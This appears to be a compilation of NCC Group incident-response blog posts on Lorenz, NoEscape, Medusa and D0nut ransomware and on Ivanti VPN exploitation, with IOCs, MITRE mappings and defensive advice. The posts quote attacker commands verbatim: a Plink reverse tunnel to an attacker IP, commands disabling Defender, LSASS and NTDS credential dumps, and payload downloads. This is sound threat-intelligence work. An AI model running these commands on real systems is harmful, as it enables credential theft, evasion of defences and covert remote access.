Author: Zaid Baksh

In the ever-evolving landscape of cyber threats, ransomware remains a persistent menace, with groups like Lorenz actively exploiting vulnerabilities in small to medium businesses globally. Since early 2021, Lorenz has been employing double-extortion tactics, exfiltrating sensitive data before encrypting systems and threatening to sell or release it publicly unless a ransom is paid by a specified date.  

Recent investigations by NCC Group’s Digital Forensics and Incident Response (DFIR) Team in APAC have uncovered significant deviations in Lorenz’s Tactics, Techniques, and Procedures (TTPs), shedding light on the group’s evolving strategies. 

Key TTP changes:

• New encryption extension – .sz41 
• Random strings for file and schedule task names 
• Binaries to create local admin accounts for persistence 
• Scheduled tasks to conduct enumeration 
• New encryption method – DLL – RSA using current time epoch as seed (predictable) 

Changing Encryption Extensions 

One notable shift observed in Lorenz’s recent activities is a change in their encryption extension. Previously, the group used the extensions ‘Lorenz.sz40’ or ‘.sz40’; however, during the recent compromise, a new extension, ‘.sz41,’ was identified. While seemingly minor, these extensions often serve as the group’s signature, making this change noteworthy. A change in the encryption extension can also indicate a change in the encryption methods being used. 

File and Task Naming Conventions 

During the investigation, the threat actor preferred the use of randomly generated strings, such as ‘[A-Z]{0-9},’ for file names and scheduled tasks. This includes the ransom note, now named ‘HELP__[A-Za-z]{0-9}__HELP.html,’ in contrast to the previously reported ‘HELP_SECURITY_EVENT.html.’ This demonstrates the group’s adaptability and attempts to subvert known Indicators of Compromise. 

Malicious File: Wininiw.exe 

A key discovery during the investigation was the presence of ‘Wininiw.exe’ in the ‘C:\Windows\*’ directory on compromised systems. The threat actor utilized this executable to modify the local Windows Registry, creating a new user with a specified password, and adding it to the Administrator group. Although the threat actor already had Administrator privileges, the creation of a new user may serve as a backup persistence mechanism. 

Scheduled Tasks 

To conduct enumeration, the threat actor utilized Scheduled Tasks to execute command prompt to run built-in commands. These commands matched previously reported TTPs, and primarily consisted of searching the device for cleartext passwords and dumping the result to C:\Windows\Temp. It is likely the threat actor used Scheduled Tasks to automate enumeration and to ensure their commands were being executed with SYSTEM privileges.  

Encryption 

We observed the threat actor employing a DLL titled ‘[A-Z]{0-9}.sz41,’ positioned within the ‘C:\Windows\*‘ directory. This DLL was responsible for both the encryption process and the creation of the ransom note. Notably, the encryption technique deviated from previously documented methods. 

In this instance, the threat actor employed the current epoch time as a seed for a random number generator, which was subsequently used to generate a passphrase and then derive the encryption key. It is worth noting that this approach introduces a level of predictability to the encryption key if the period during which the encryption occurred is known. The DLL also contained a significant amount of redundant code, which does not execute, indicating this DLL has been iterated upon and possibly customized depending on the victim’s environment. 

As ransomware gangs continue to evolve their tactics, organisations must remain vigilant and adapt their cybersecurity strategies accordingly. The recent investigation by NCC Group underscores the importance of continuous monitoring and analysis to stay ahead of ransomware threats. By understanding the evolution of Lorenz’s recent activities, organisations and cyber defenders can be better prepared to identify ransomware precursors and mitigate the risk associated with ransomware groups. 

Indicators of Compromise 

Authors: David Brown and Mungomba Mulenga

TL;dr

NCC Group has observed what we believe to be the attempted exploitation of CVE-2021-42278 and CVE-2021-42287 as a means of privilege escalation, following the successful compromise of an Ivanti Secure Connect VPN using the following zero-day vulnerabilities reported by Volexity1 on 10/01/2024:

• CVE-2023-46805 – an authentication-bypass vulnerability with a CVSS score of 8.2

• CVE-2024-21887 – a command-injection vulnerability found into multiple web components with a CVSS score of 9.1

By combining these vulnerabilities threat actors can quickly access a network and obtain domain administrator privileges.

New TTPs

There is a wealth of excellent information from the Cybersecurity community detailing the subsequent tactics, techniques and procedures (TTPs) and indicators of compromise (IOCs) that have been observed since the public reporting on the Ivanti zero day. This blog focuses on the exploitation of specific CVEs, that when used together could be particularly damaging.

T1068 – Privilege Escalation – Exploitation for Privilege Escalation

NCC Group has assisted a number of clients who are dealing with the Ivanti Connect Secure VPN zero-day and in the process of doing so we identified what we believe to be follow on actions that attempted to leverage CVE-2021-422782 and CVE-2021-422873.

These are vulnerabilities in Active Directory that when combined can allow a regular user to impersonate a domain administrator.

In order to successfully exploit these in an environment there will need to be a domain controller present that is not patched against this vulnerability, the threat actor would need access to a regular domain user account and a machine user account quota above zero.

This activity shows that threat actors are quickly attempting lateral movement and privilege escalation once they have gained a foothold on a compromised Ivanti Connect Secure VPN.

Detection

If you have Ivanti Connect Secure VPNs in use, then it is advised to do the following to check if you are vulnerable to this attack or if it has been attempted in your organization:

• Check that all of your domain controllers are patched against CVE-2021-42278 and CVE-2021-42287.
• Check domain controller logs for suspicious activity coming from the Ivanti appliance, specifically the following:
  • Windows Security Log Event ID 5156 – The windows filtering platform has allowed a connection
  • Windows Security Log Event ID 4673 – A privileged service was called
  • Windows Security Log Event ID 4741 – A computer account was created
  • Windows Security Log Event ID 4724 – An attempt was made to reset an account’s password
  • Windows Security Log Event ID 4742 – A computer account was changed
  • Windows Security Log Event ID 4781 – The name of an account was changed

If you have been affected by the Ivanti vulnerability and see above activity that coincides with compromise you should invoke your incident response plan immediately and investigate further.

Mitigation

The good news is that mitigation for this issue is relatively straightforward. The following should be considered:

• Patch all domain controllers against the underlying CVEs
• Set the machine account quota for standard users to zero

Please ensure to test the impact of any changes within your environment before applying mitigations.

Conclusion

It appears that threat actors are rapidly stringing CVE’s together to take advantage of the access the Ivanti Zero day has provided. NCC Group has not been able to attribute the attacks at this time or define what the end objectives were, as the attacks were interrupted.

The Ivanti issue does present an opportunity for initial access brokers to plant backdoors in environments however, leading to the possibility of follow on action taking place weeks or months after the initial compromise of the Ivanti Connect Secure VPN.

It underscores how important it is that there is a thorough investigation of the wider environment if an Ivanti compromise is detected.

If you think you are experiencing an attack contact our 24/7 incident response team using this link.

---

Author: Alex Jessop (@ThisIsFineChief)

Summary

Tl;dr

This post will delve into a recent incident response engagement handled by NCC Group’s Cyber Incident Response Team (CIRT) involving the Ransomware-as-a-Service known as NoEscape.

Below provides a summary of findings which are presented in this blog post: 

• Initial access gained via a publicly disclosed vulnerability in an externally facing server
• Use of vulnerable drivers to disable security controls
• Remote Desktop Protocol was used for Lateral Movement
• Access persisted through tunnelling RDP over SSH
• Exfiltration of data via Mega
• Execution of ransomware via scheduled task

NoEscape

NoEscape is a new financially motivated ransomware group delivering a Ransomware-as-a-Service program which was first observed in May 2023 being advertised on a dark web forum, as published by Cyble [1]. It is believed they are a spin-off of the group that used to be known as Avaddon. This post will focus on the Tactics, Techniques and Procedures employed by a threat actor utilising NoEscape Ransomware in a recent Incident Response Engagement.

Review of the NoEscape dark web portal and their list of victims shows no trends in industries targeted which suggests they are opportunistic in nature. To date, 89 victims (18 active) have been posted on the NoEscape portal, with the first being published on 14^th June 2023. Monetary gain is the main objective of this ransomware group. In addition to the usual double extortion method of ransomware and data exfiltration which has been popular in recent years, NoEscape also has a third extortion method: the ability to purchase a DDoS/Spam add on to further impact victims.

Incident Overview

NoEscape appear to target vulnerable external services, with the initial access vector being via the exploitation of a Microsoft Exchange server which was publicly facing in the victim’s environment. Exploitation led to webshells being created on the server and gave the threat actor an initial foothold into the environment.

The threat actor seemed opportunistic in nature, whose objective was monetary gain with a double extortion method of ransomware which included data exfiltration. However, they did appear low skilled due to a kitchen sink approach employed when trying to disable antivirus and dump credentials. Multiple different tools were deployed to enact the same job for the threat actor, which is quite a noisy approach often not observed by the more sophisticated threat actor.

A secondary access method was deployed to ensure continued access in the event that the initial access vector was closed to the threat actor. Data was exfiltrated to a well-known cloud storage provider, however this was interrupted due to premature execution of the ransomware which encrypted files that were being exfiltrated.

Timeline

• T – Initial Access gained via webshell
• T+1 min – Initial recon and credential dumping activity
• T+9 min – Secondary access method established via Plink
• T+18 days – Second phase of credential dumping activity
• T+33 days – Data Exfiltration
•  T+33 days – Ransomware Executed

Mitre TTPs

Initial Access

T1190 – Exploit Public-Facing Application

In keeping with the opportunistic nature, initial access was gained through exploiting the vulnerabilities CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207 which are more commonly known as ProxyShell.

WebShell were uploaded to the victims Microsoft Exchange server and gave the threat actor an initial foothold on the network.

Execution

T1059.001 – Command and Scripting Interpreter: PowerShell

PowerShell was utilised by the threat actor, using the Defender command Set-MpPreference to exclude specific paths from being monitored. This was an attempt to ensure webshells were not detected and remediated by the antivirus.

T1059.003 – Command and Scripting Interpreter: Windows Command Shell

Windows native commands were executed during the discovery phase; targeting domain admin users, antivirus products installed etc.

• net  localgroup administrators
• cmd.exe  /c net group \”REDACTED” /domain
• cmd.exe  /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

T1053.005 – Scheduled Task

As has been well documented [2], a Scheduled Task with the name SystemUpdate was used to execute the ransomware.

Persistence 

T1505.003 – Server Software Component: Web Shell

Web Shells provided the threat actor continued access to the estate through the initial access vector.

Privilege Escalation

T1078.002 – Valid Accounts: Domain Accounts

Threat actor gained credentials for valid domain accounts which were used for the majority of lateral movement and execution

T1078.003 – Valid Accounts: Local Accounts

The threat actor was observed enabling the DefaultAccount and utilising this to execute their tools locally on a host.

Defence Evasion

T1562.001 – Impair Defences: Disable or Modify Tools

The threat actor showed their potential lack of experience as multiple different drivers were dropped in an attempt to disable the deployed EDR and AV. Instead of deploying a single driver, multiple drivers and tools were dropped in a ‘throw the kitchen sink at it’ approach.

File	Description
Gmer.exe	GMER is a rootkit detector and remover, utilised by threat actors to identify and kill processes such as antivirus and EDR
aswArPot.sys	An Avast antivirus driver deployed by threat actors to disable antivirus solutions.
mhyprot2.sys	Genshin Impact anti-cheat driver which is utilised by threat actors to kill antivirus processes.

Credential Access

T1003 – Credential Dumping

Similar to the above, multiple credential dumping tools were dropped by the threat actor in an attempt to obtain legitimate credentials.

File	Description
CSDump.exe	Unknown dumping tool (no longer on disk)
Fgdump.exe	A tool for mass password auditing of the Windows systems by dumping credentials from LSASS
MemoryDumper.exe	Creates an encrypted memory dump from LSASS process to facilitate offline cracking of passwords hashes.

Discovery

T1087.001 – Account Discovery: Local Account

A number of inbuilt Windows commands were used to gain an understanding of the local administrators on the group:

net localgroup administrators

net group “REDACTED” /domain

T1018 – Remote System Discovery

Similarly, inbuilt Windows commands were also used to discover information on the network, such as the primary domain controller for the estate:

netdom query /d:REDACTED PDC

Lateral Movement

T1021.001 – Remote Desktop Protocol

Valid domain credentials were obtained through dumping the LSASS process, these accounts were then used to laterally move across the environment via RDP.

Command and Control

T1572 – Protocol Tunnelling

Secondary method of access was deployed by the threat actor, in the event that the initial access vector was closed, by deploying PuTTY link onto multiple hosts in the environment. A SSH tunnel was created to present RDP access to the host from a public IP address owned by the threat actor.

p64.exe [email protected][.]238 -pw REDACTED -P 443 -2 -4 -T -N -C -R 0.0.0.0:10445:127.0.0.1:3389

T1219 – Remote Access Software

The threat actor also utilised software already deployed onto the estate to maintain access, in this scenario obtaining credentials to the TeamViewer deployment.

Exfiltration

T1048.002 – Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

As has become common when data is exfiltrated from a victims estate in recent years, the MegaSync.exe utility was used to exfiltrate data from the estate directly to Mega’s cloud storage platform.

Impact

T1486 – Data Encrypted for Impact

The encryptor targeted all files on the C:\ drive except those with the below extension:

bat, bin, cmd, com, cpl, dat, dll, drv, exe, hta, ini, lnk, lock, log, mod, msc, msi, msp, pif, prf, rdp, scr, shs, swp, sys, theme

IOC List

Value	Type	Description
142D950E7DD975056BD3487672C14C26450D55C1	SHA1	Mega Sync
2F366382D2DB32AACA15F9CADC14C693B33C361F	SHA1	Ransomware binary
4709827c7a95012ab970bf651ed5183083366c79	SHA1	Putty Link
75DB5A0B47783B4E4C812CF521C3A443FACB6BBB	SHA1	Ransomware binary
BB3593007FE44993E102830EDC3255836A97FB01	SHA1	Ransomware binary
FB0A150601470195C47B4E8D87FCB3F50292BEB2	SHA1	PsExec
214551A8C07633D8C70F7BE4689EFE3BB74ABFD6E64264CF440100413EA6BE6B	SHA256	Mega Sync
53B5A02259C69AB213BA1458D7F70B01614CC32E040B849AD67FEFB07A725945	SHA256	Ransomware binary
828e81aa16b2851561fff6d3127663ea2d1d68571f06cbd732fdf5672086924d	SHA256	Putty Link
078212DEA0C7FD9CDFA40DBB320B29900F4E8BA0E64D2199F6CAE0BC23D1C625	SHA256	Ransomware binary
2020CAE5115B6980D6423D59492B99E6AAA945A2230B7379C2F8AE3F54E1EFD5	SHA256	Ransomware binary
AD6B98C01EE849874E4B4502C3D7853196F6044240D3271E4AB3FC6E3C08E9A4	SHA256	PsExec
172.93.181[.]238	IP	Malicious IP used for tunnelling via Plink
66.203.125[.]14	IP	Mega IP

MITRE ATT CK® 

Tactic	Technique	ID	Description
Initial Access	Exploit Public-Facing Application	T1190	The vulnerabilities CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207, commonly known as ProxyShell, were exploited
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was utilized to add an exclusion path to the anti-virus to prevent the web shells from being detected
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	Native Windows commands were utilised during the discovery phase of the endpoint and victim estate
Execution	Scheduled Task	T1053.005	A scheduled task was utilised to execute the ransomware binary
Persistence	Server Software Component: Web Shell	T1505.003	Web Shells were uploaded to the Exchange server via exploitation of the ProxyShell vulnerabilities
Privilege Escalation	Valid Accounts: Domain Accounts	T1078.002	Credentials to domain accounts were obtained and utilised for lateral movement
Privilege Escalation	Valid Accounts: Local Accounts	T1078.003	A disabled local account was re-enabled by the threat actor and used.
Defence Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	Tooling was deployed in an attempt to disable the deployed endpoint security controls
Credentials Access	Credential Dumping	T1003	Various different tools were deployed to dump credentials from LSASS
Discovery	Account Discovery: Local Account	T1087.001	‘net’ native Windows command was utilised to discovery users in the domain administrator group
Discovery	Remote System Discovery	T1018	‘netdom’ was utilised to discover the primary domain controller for the victims estate
Lateral Movement	Remote Desktop Protocol	T1021.001	The primary method of lateral movement was RDP
Command and Control	Protocol Tunnelling	T1572	PuTTY link, also known as Plink, was used to tunnel RDP connections over SSH to provide the threat actor with direct access to the Exchange server as back-up to the web shells
Command and Control	Remote Access Software	T1219	Access was gained to the existing TeamViewer deployment and utilised for lateral movement
Exfiltration	Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	MegaSync was utilised to exfiltrate data to the cloud storage solution Mega
Impact	Data Encrypted for Impact	T1486	Ransomware was deployed across the estate

References

[1] – Cyble — ‘NoEscape’ Ransomware-as-a-Service (RaaS)

[2] – Meet NoEscape: Avaddon ransomware gang’s likely successor – RedPacket Security

---

Unveiling the Dark Side: A Deep Dive into Active Ransomware Families 

Author: Molly Dewis 

Intro 

Our technical experts have written a blog series focused on Tactics, Techniques and Procedures (TTP’s) deployed by four ransomware families recently observed during NCC Group’s incident response engagements.   

In case you missed it, our last post analysed an Incident Response engagement involving the D0nut extortion group. In this instalment, we take a deeper dive into the Medusa. 

Not to be confused with MedusaLocker, Medusa was first observed in 2021, is a Ransomware-as-a-Service (RaaS) often using the double extortion method for monetary gain. In 2023 the groups’ activity increased with the launch of the ‘Medusa Blog’. This platform serves as a tool for leaking data belonging to victims. 

Summary 

This post will delve into a recent incident response engagement handled by NCC Group’s Cyber Incident Response Team (CIRT) involving Medusa Ransomware.  

Below provides a summary of findings which are presented in this blog post: 

• Use of web shells to maintain access. 
• Utilising PowerShell to conduct malicious activity. 
• Dumping password hashes.  
• Disabling antivirus services.  
• Use of Windows utilises for discovery activities.  
• Reverse tunnel for C2. 
• Data exfiltration.  
• Deployment of Medusa ransomware. 

Medusa  

Medusa ransomware is a variant that is believed to have been around since June 2021 [1]. Medusa is an example of a double-extortion ransomware where the threat actor exfiltrates and encrypts data. The threat actor threatens to release or sell the victim’s data on the dark web if the ransom is not paid. This means the group behind Medusa ransomware could be characterised as financially motivated. Victims of Medusa ransomware are from no particular industry suggesting the group behind this variant have no issue with harming any organisation.  

Incident Overview 

Initial access was gained by exploiting an external facing web server. Webshells were created on the server which gave the threat actor access to the environment. From initial access to the execution of the ransomware, a wide variety of activity was observed such as executing Base64 encoded PowerShell commands, dumping password hashes, and disabling antivirus services. Data was exfiltrated and later appeared on the Medusa leak site.  

Timeline 

T – Initial Access gained via web shells.  

T+13 days – Execution activity. 

T+16 days – Persistence activity. 

T+164 days – Defense Evasion activity. 

T+172 days – Persistence and Discovery activity. 

T+237 days – Defense Evasion and Credential Access Activity started. 

T+271 days – Ransomware Executed.  

Mitre TTPs 

Initial Access 

The threat actor gained initial access by exploiting a vulnerable application hosted by an externally facing web server. Webshells were deployed to gain a foothold in the victim’s environment and maintain access.  

Execution 

PowerShell was leveraged by the threat actor to conduct various malicious activity such as:   

• Downloading executables  
  • Example: powershell.exe -noninteractive -exec bypass powershell -exec bypass -enc … 
• Disabling Microsoft Defender 
  • Example: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; 
• Deleting executables 
  • Example: powershell.exe -noninteractive -exec bypass del C:\\PRogramdata\\re.exe 
• Conducting discovery activity  
  • Example: powershell.exe -noninteractive -exec bypass net group domain admins /domain 

Windows Management Instrumentation (WMI) was utilised to remotely execute a cmd.exe process: wmic /node:<IP ADDRESS> / user:<DOMAIN\\USER> /password:<REDACTED> process call create ‘cmd.exe’. 

Scheduled tasks were used to execute c:\\programdata\\a.bat. It is not known exactly what a.bat was used for, however, analysis of a compiled ASPX file revealed the threat actor had used PowerShell to install anydesk.msi.  

• powershell Invoke-WebRequest -Uri hxxp://download.anydesk[.]com/AnyDesk.msi -OutFile anydesk.msi 
• msiExec.exe /i anydesk.msi /qn 

A cmd.exe process was started with the following argument list: c:\\programdata\\a.bat’;start-sleep 15;ps AnyDeskMSI 

Various services were installed by the threat actor. PDQ Deploy was installed to deploy LAdHW.sys, a kernel driver which disabled antivirus services. Additionally, PSEXESVC.exe was installed on multiple servers. On one server, it was used to modify the firewall to allow WMI connections.   

Persistence 

Maintaining access to the victim’s network was achieved by creating a new user admin on the external facing web server (believed to be the initial access server). Additionally, on the two external facing web servers, web shells were uploaded to establish persistent access and execute commands remotely. JavaScript-based web shells were present on one web server and the GhostWebShell [2] was found on the other. The GhostWebShell is fileless however, its compiled versions were saved in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\<APPLICATION NAME>\<HASH>\<HASH>. 

Defence Evasion 

Evading detection was one of the aims for this threat actor due to the various defence evasion techniques utilised. Antivirus agents were removed from all affected hosts including the antivirus server. Microsoft Windows Defender capabilities were disabled by the threat actor using: powershell -exec bypass -c Set-MpPreference -DisableRealtimeMonitoring $true;New-ItemProperty -Path ‘HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender’ -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;.  

Additionally, LAdHW.sys, a signed kernel mode driver was installed as a new service to disable antivirus services. The following firewall rule was deleted: powershell.exe -Command amp; {Remove-NetFirewallRule -DisplayName \”<Antivirus Agent Firewall Rule Name>\”.  

The threat actor obfuscated their activity. Base64 encoded PowerShell commands were utilised to download malicious executables. It should be noted many of these executables such as JAVA64.exe and re.exe were deleted after use. Additionally, Sophos.exe (see below) which was packed with Themida, was executed.  

The value of HKLM\SYSTEM\ControlSet001\Control\SecurityProviders\WDigest\\UseLogonCredential was modified to 1 so that logon credentials were stored in cleartext. This enabled the threat actor to conduct credential dumping activities. 

Credential Access 

The following credential dumping techniques were utilised by the threat actor:  

• Using the Nishang payload to dump password hashes. Nishang is a collection of PowerShell scripts and payloads. The Get-PassHashes script, which requires admin privileges, was used.  
• Mimikatz was present on one of the external facing web servers, named as trust.exe. A file named m.txt was identified within C:\Users\admin\Desktop, the same location as the Mimikatz executable. 
• An LSASS memory dump was created using the built-in Windows tool, comsvcs.dll. 
  • powershell -exec bypass -c “rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ((ps lsass).id) C:\programdata\test.png full 
• he built-in Windows tool ntdsutil.exe was used to extract the NTDS:  
  • powershell ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:\programdata\nt’ q q 

Discovery 

The threat actor conducted the following discovery activity: 

Type of discovery activity	Description
nltest /trusted_domains	Enumerates domain trusts
net group ‘domain admins’ /domain	Enumerates domain groups
net group ‘domain computers’ / domain	Enumerates domain controllers
ipconfig /all	Learn about network configuration and settings
tasklist	Displays a list of currently running processes on a computer
quser	Show currently logged on users
whoami	Establish which user they were running as
wmic os get name	Gathers the name of the operating system
wmic os get osarchitecture	Establishes the operating system architecture

Lateral Movement 

Remote Desktop Protocol (RDP) was employed to laterally move through the victim’s network. 

Command and Control 

A reverse tunnel allowed the threat actor to establish a new connection from a local host to a remote host. The binary c:\programdata\re.exe was executed and connected to 134.195.88[.]27 over port 80 (HTTP). Threat actors tend to use common protocols to blend in with legitimate traffic which can be seen in this case, as port 80 was used. 

Additionally, the JWrapper Remote Access application was installed on various servers to maintain access to the environment. AnyDesk was also utilised by the threat actor.  

Exfiltration 

Data was successfully exfiltrated by the threat actor. The victim’s data was later published to the Medusa leak site.  

Impact 

The Medusa ransomware in the form of gaze.exe, was deployed to the victim’s network. Files were encrypted, and .MEDUSA was appended to file names. The ransom note was named !!!READ_ME_MEDUSA!!!.txt. System recovery was inhibited due to the deletion of all VMs from the Hyper-V storage as well as local and cloud backups.  

Indicators of Compromise 

IOC Value	Indicator Type	Description
webhook[.]site	Domain	Malicious webhook
bashupload[.]com	Domain	Download JAVA64.exe and RW.exe
tmpfiles[.]org	Domain	Download re.exe
134.195.88[.]27:80	IP:PORT	C2
8e8db098c4feb81d196b8a7bf87bb8175ad389ada34112052fedce572bf96fd6	SHA256	trust.exe (Mimikatz.exe)
3e7529764b9ac38177f4ad1257b9cd56bc3d2708d6f04d74ea5052f6c12167f2	SHA256	JAVA_V01.exe
f6ddd6350741c49acee0f7b87bff7d3da231832cb79ae7a1c7aa7f1bc473ac30	SHA256	testy.exe / gmer_th.exe
63187dac3ad7f565aaeb172172ed383dd08e14a814357d696133c7824dcc4594	SHA256	JAVA_V02.exe
781cf944dc71955096cc8103cc678c56b2547a4fe763f9833a848b89bf8443c6	SHA256	Sophos.exe
C:\Users\Sophos.exe	File Path	Sophos.exe
C:\Users\admin\Desktop\	File Path	trust.exe JAVA_V01.exe testy.exe gmer_th.exe JAVA_V02.exe
C:\ProgramData\JWrapper-Remote Access\	File Path	JWrapper files
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\<APPLICATION NAME>\<HASH>\<HASH>	File Path	GhostWebshell compiled files
C:\Windows\PSEXESVC.exe	File Path	PsExec
C:\Users\<USERS>\AppData\Local\Temp\LAdHW.sys	File Path	Disables AV
C:\Windows\AdminArsenal\PDQDeployRunner\service-1\PDQDeployRunner-1.exe	File Path	PDQDeployRunner – used to deploy LAdHW.sys
C:\Users\<USER>\AppData\Local\Temp\2\gaze.exe C:\Windows\System32\gaze.exe	File Path	Ransomware executable

MITRE ATT CK® 

Tactic	Technique	ID	Description
Initial Access	Exploit Public-Facing Application	T1190	A vulnerable application hosted by an external facing web server was exploited .
Execution	Windows Management Instrumentation	T1047	WMI used to remotely execute a cmd.exe process.
Execution	Scheduled Task/Job: Scheduled Task	T1053.005	Execute a.bat
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	PowerShell was leveraged to execute malicious commands.
Execution	Software Deployment Tools	T1072	PDQ Deploy was installed to deploy LAdHW.sys.
Execution	System Services: Service Execution	T1569.002	PsExec was installed as a service.
Persistence	Create Account: Domain Account	T1136.0012	A new user ‘admin’ was created to maintain access.
Persistence	Server Software Component: Web Shell	T1505.003	Web shells were utilised to maintain access.
Defense Evasion	Obfuscated Files or Information: Software Packing	T1027.002	Sophos.exe was packed with Themida.
Defense Evasion	Indicator Removal: File Deletion	T1070.004	Malicious executables were deleted after use.
Defense Evasion	Indicator Removal: Clear Persistence	T1070.009	Malicious executables were deleted after use.
Defense Evasion	Obfuscated Files or Information	T1027	Base64 encoded PowerShell commands were utilised to download malicious executables.
Defense Evasion	Modify Registry	T1112	The WDigest registry key was modified to enable credential dumping activity.
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	Antivirus services were disabled.
Defense Evasion	Impair Defenses: Disable or Modify System Firewall	T1562.004	Firewall rules were deleted.
Credential Access	OS Credential Dumping: LSASS Memory	T1003.001	Mimikatz was utilised.  An LSASS memory dump was created.
Credential Access	OS Credential Dumping: NTDS	T1003.003	Ntdsutil.exe was used to extract the NTDS.
Discovery	Domain Trust Discovery	T1482	Nltest was used to enumerate domain trusts.
Discovery	Permission Groups Discovery: Domain Groups	T1069.002	Net was used to enumerate domain groups.
Discovery	System Network Configuration Discovery	T1016	Ipconfig was used to learn about network configurations.
Discovery	System Service Discovery	T1007	Tasklist was used to display running processes.
Discovery	Remote System Discovery	T1018	Net was used to enumerate domain controllers.
Discovery	System Owner/User Discovery	T1033	Quser was used to show logged in users. Whoami was used to establish which user the threat actor was running as.
Discovery	System Information Discovery	T1082	Wmic was used to gather the name of the operating system and its architecture.
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	RDP was used to laterally move through the environment.
Command and Control	Ingress Tool Transfer	T1105	PowerShell commands were used to download and execute malicious files.
Command and Control	Remote Access Software	T1219	JWrapper and AnyDesk were leveraged.
Command and Control	Protocol Tunnelling	T1572	A reverse tunnel was established.
Exfiltration	Exfiltration	TA0010	Data was exfiltrated and published to the leak site.
Impact	Data Encrypted for Impact	T1486	Medusa ransomware was deployed.
Impact	Inhibit System Recovery	T1490	VMs from the Hyper-V storage and local and cloud backups were deleted.

References 

[1] https://www.bleepingcomputer.com/news/security/medusa-ransomware-gang-picks-up-steam-as-it-targets-companies-worldwide/  

[2] https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/ 

Unveiling the Dark Side: A Deep Dive into Active Ransomware Families

Author: Ross Inman (@rdi_x64)

Introduction

Our technical experts have written a blog series focused on Tactics, Techniques and Procedures (TTP’s) deployed by four ransomware families recently observed during NCC Group’s incident response engagements.  

In case you missed it, last time we analysed an Incident Response engagement involving BlackCat Ransomware. In this instalment, we take a deeper dive into the D0nut extortion group. 

The D0nut extortion group was first reported in August 2022 for breaching networks and demanding ransoms in return for not leaking stolen data. A few months later, reports of the group utilizing encryption as well as data exfiltration were released with speculation that the ransomware deployed by the group was linked to HelloXD ransomware. There is also suspected links between D0nut affiliates and both Hive and Ragnar Locker ransomware operations. 

Summary 

Tl;dr 

This post explores some of the TTPs employed by a threat actor who was observed deploying D0nut ransomware during an incident response engagement. 

Below provides a summary of findings which are presented in this blog post: 

• Heavy use of Cobalt Strike Beacons to laterally move throughout the compromised network.  
• Deployment of SystemBC to establish persistence.  
• Modification of a legitimate GPO to disable Windows Defender across the domain.  
• Leveraging a BYOVD to terminate system-level processes which may interfere with the deployment of ransomware.  
• Use of RDP to perform lateral movement and browse folders to identify data for exfiltration.  
• Data exfiltration over SFTP using Rclone.  
• Deployment of D0nut ransomware.  

D0nut

D0nut leaks is a group that emerged during Autumn of 2022 and was initially reported to be performing intrusions into networks with an aim of exfiltrating data which they would then hold to ransom, without encrypting any files¹.  Further down the line, the group were seen adopting the double-extortion approach². This includes encrypting files and holding the decryption key for ransom, as well as threatening to publish the stolen data should the ransom demand not be met.   

Numerous potential links have been made to other ransomware groups and affiliates, with the ransomware encryptor reportedly sharing similarities with the HelloXD ransomware strain. Indications of a link were observed through the filenames of the ransomware executable deployed throughout the incident, with the filenames being xd.exe and wxd7.exe. However, it should be noted that this alone is not compelling evidence to indicate a link between the ransomware strains.  

Incident Overview  

Once the threat actor had gained their foothold within the network, they conducted lateral movement with a focus on the following objectives: 

• Compromise a host which stores sensitive data which can be targeted for exfiltration.  
• Compromise a domain controller.  

Cobalt Strike was heavily utilised to deploy Beacon, the payload generated by Cobalt Strike, to multiple hosts on the network so the threat actor could extend their access and visibility. 

A Remote Desktop Protocol (RDP) session was established to a file server, which allowed the threat actor to browse the file system and identify folders of interest to target for exfiltration. Data exfiltration was conducted using Rclone to upload files to a Secure File Transfer Protocol (SFTP) server controlled by the threat actor. Rclone allows for uploading of files directly from folders to cloud storage, meaning the threat actor did not need to perform any data staging prior to the upload.  

Before deploying the ransomware, the threat actor deployed malware capable of leveraging a driver, which has been used by other ransomware groups³, to terminate any anti-virus (AV) or endpoint detection and response (EDR) processes running on the system; this technique is known as bring your own vulnerable driver (BYOVD). Additionally, the threat actor modified a pre-existing group policy object (GPO) and appended configuration that would prevent Windows Defender from interfering with any malware that was dropped on the systems.  

Ransomware was deployed to both user workstations and servers on the compromised domain. An ESXi server was also impacted, resulting in the hosted virtual machines suffering encryption that was performed at the hypervisor level.  

The total time from initial access to encryption is believed to be less than a week.  

TTPs 

Lateral Movement 

The following methods were utilised to move laterally throughout the victim network: 

• Cobalt Strike remotely installed temporary services on targeted hosts which executed Beacon, triggering a call back to the command and control (C2) server and providing the operator access to the system. An example command line of what the services were configured to run is provided below:

• RDP sessions were established using compromised domain accounts.  
• PsExec was also used to facilitate remote command execution across hosts. 

Persistence

The threat actor used SystemBC to establish persistence within the environment. The malware was set to execute whenever a user logs in to the system, which was achieved by modifying the registry key Software\Microsoft\Windows\CurrentVersion\Run within the DEFAULT registry hive (please note this is not referring to the hive located at C:\Users\DEFAULT\NTUSER.dat, but the hive located at C:\Windows\System32\config\DEFAULT). An entry was created under the run key which ran the following command, resulting in execution of SystemBC: 

powershell.exe -windowstyle hidden -Command ” ‘C:\programdata\explorer.exe'” 

Defense Evasion

